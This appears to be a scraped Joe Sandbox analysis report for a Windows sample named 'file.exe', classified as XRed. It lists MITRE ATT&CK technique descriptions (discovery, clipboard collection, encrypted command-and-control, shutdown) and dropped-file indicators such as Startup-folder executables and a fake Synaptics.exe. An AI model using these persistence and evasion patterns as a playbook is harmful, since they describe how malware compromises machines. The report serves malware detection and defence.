Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\1.exe

C:\Program Files (x86)\2.exe

C:\Program Files (x86)\3.exe

C:\Program Files (x86)\4.exe

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Synaptics\RCXF181.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre